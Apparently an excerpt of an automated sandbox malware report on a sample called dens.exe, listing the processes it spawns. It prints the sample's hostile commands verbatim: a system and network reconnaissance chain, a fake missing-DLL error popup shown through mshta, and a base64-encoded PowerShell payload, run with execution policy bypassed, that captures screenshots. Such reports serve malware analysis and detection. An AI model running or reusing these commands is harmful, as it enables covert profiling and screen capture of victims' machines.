Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic startup get caption,command
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /svc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ipconfig.exe ipconfig /all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ROUTE.EXE route print
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\ARP.EXE arp -a
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc query type= service state= all
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show state
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh firewall show config
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user
Source: C:\Windows\System32\query.exe	Process created: C:\Windows\System32\quser.exe "C:\Windows\system32\quser.exe"
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 localgroup administrators
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user guest
Source: C:\Windows\System32\net.exe	Process created: C:\Windows\System32\net1.exe C:\Windows\system32\net1 user administrator
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()""	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "echo ####system info#### & systeminfo & echo ####system version#### & ver & echo ####host name#### & hostname & echo ####environment variable#### & set & echo ####logical disk#### & wmic logicaldisk get caption,description,providername & echo ####user info#### & net user & echo ####online user#### & query user & echo ####local group#### & net localgroup & echo ####administrators info#### & net localgroup administrators & echo ####guest user info#### & net user guest & echo ####administrator user info#### & net user administrator & echo ####startup info#### & wmic startup get caption,command & echo ####tasklist#### & tasklist /svc & echo ####ipconfig#### & ipconfig/all & echo ####hosts#### & type c:\windows\system32\drivers\etc\hosts & echo ####route table#### & route print & echo ####arp info#### & arp -a & echo ####netstat#### & netstat -ano & echo ####service info#### & sc query type= service state= all & echo ####firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe c:\windows\system32\cmd.exe /c "powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaia	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new activexobject('wscript.shell'); sh.popup('the program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. try reinstalling the program to fix this problem', 0, 'system error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -noprofile -executionpolicy bypass -encodedcommand jabzag8adqbyagmazqagad0aiabaaciadqakahuacwbpag4azwagafmaeqbzahqazqbtadsadqakahuacwbpag4azwagafmaeqbzahqazqbtac4aqwbvagwabablagmadabpag8abgbzac4arwblag4azqbyagkaywa7aa0acgb1ahmaaqbuagcaiabtahkacwb0aguabqauaeqacgbhahcaaqbuagcaowanaaoadqbzagkabgbnacaauwb5ahmadablag0algbxagkabgbkag8adwbzac4argbvahiabqbzadsadqakaa0acgbwahuaygbsagkaywagagmababhahmacwagafmaywbyaguazqbuahmaaabvahqadqakahsadqakacaaiaagacaacab1agiababpagmaiabzahqayqb0agkaywagaewaaqbzahqapabcagkadabtageacaa+acaaqwbhahaadab1ahiazqbtagmacgblaguabgbzacgakqanaaoaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaadgbhahiaiabyaguacwb1agwadabzacaapqagag4azqb3acaatabpahmadaa8aeiaaqb0ag0ayqbwad4akaapadsadqakacaaiaagacaaiaagacaaiab2ageacgagageababsafmaywbyaguazqbuahmaiaa9acaauwbjahiazqblag4algbbagwababtagmacgblaguabgbzadsadqakaa0acgagacaaiaagacaaiaagacaazgbvahiazqbhagmaaaagacgauwbjahiazqblag4aiabzagmacgblaguabgagagkabgagageababsafmaywbyaguazqbuahmakqanaaoaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagahqacgb5aa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagafiazqbjahqayqbuagcabablacaaygbvahuabgbkahmaiaa9acaacwbjahiazqblag4algbcag8adqbuagqacwa7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahuacwbpag4azwagacgaqgbpahqabqbhahaaiabiagkadabtageacaagad0aiabuaguadwagaeiaaqb0ag0ayqbwacgaygbvahuabgbkahmalgbxagkazab0aggalaagagiabwb1ag4azabzac4asablagkazwboahqakqapaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiab1ahmaaqbuagcaiaaoaecacgbhahaaaabpagmacwagagcacgbhahaaaabpagmacwagad0aiabhahiayqbwaggaaqbjahmalgbgahiabwbtaekabqbhagcazqaoagiaaqb0ag0ayqbwackakqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagahsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagagcacgbhahaaaabpagmacwauaemabwbwahkargbyag8abqbtagmacgblaguabgaoag4azqb3acaauabvagkabgb0acgaygbvahuabgbkahmalgbmaguazgb0acwaiabiag8adqbuagqacwauafqabwbwackalaagafaabwbpag4adaauaeuabqbwahqaeqasacaaygbvahuabgbkahmalgbtagkaegblackaowanaaoaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaacgblahmadqbsahqacwauaeeazabkacgakabcagkadabtageacaapagiaaqb0ag0ayqbwac4aqwbsag8abgblacgakqapadsadqakacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagacaaiaagacaaywbhahqaywboacaakabfahgaywblahaadabpag8abgapaa0acgagacaaiaagacaaiaagacaaiaagacaaiab7aa0acgagacaaiaagacaaiaagacaaiaagacaaiaagacaaiaagac8alwagaegayqbuagqabablacaayqbuahkaiablahgaywblahaadabpag8abgbzacaaaablahiazqanaaoaiaagacaaiaagacaaiaagacaaiaagacaafqanaaoaiaagacaaiaagacaaiaagah0adqakaa0acgagacaaiaagacaaiaagacaacgblahqadqbyag4aiabyaguacwb1agwadabzadsadqakacaaiaagacaafqanaaoafqanaaoaigbaaa0acganaaoaqqbkagqalqbuahkacablacaalqbuahkacablaeqazqbmagkabgbpahqaaqbvag4aiaakahmabwb1ahiaywblacaalqbsaguazgblahiazqbuagmazqbkaeeacwbzaguabqbiagwaaqblahmaiab

Source: C:\Users\user\Desktop\dens.exe

Code function: 0_2_00007FF62C119570 cpuid

0_2_00007FF62C119570

Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\aiohttp VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\attrs-24.2.0.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI62482\cryptography-43.0.1.dist-info\license_files VolumeInformation	Jump to behavior
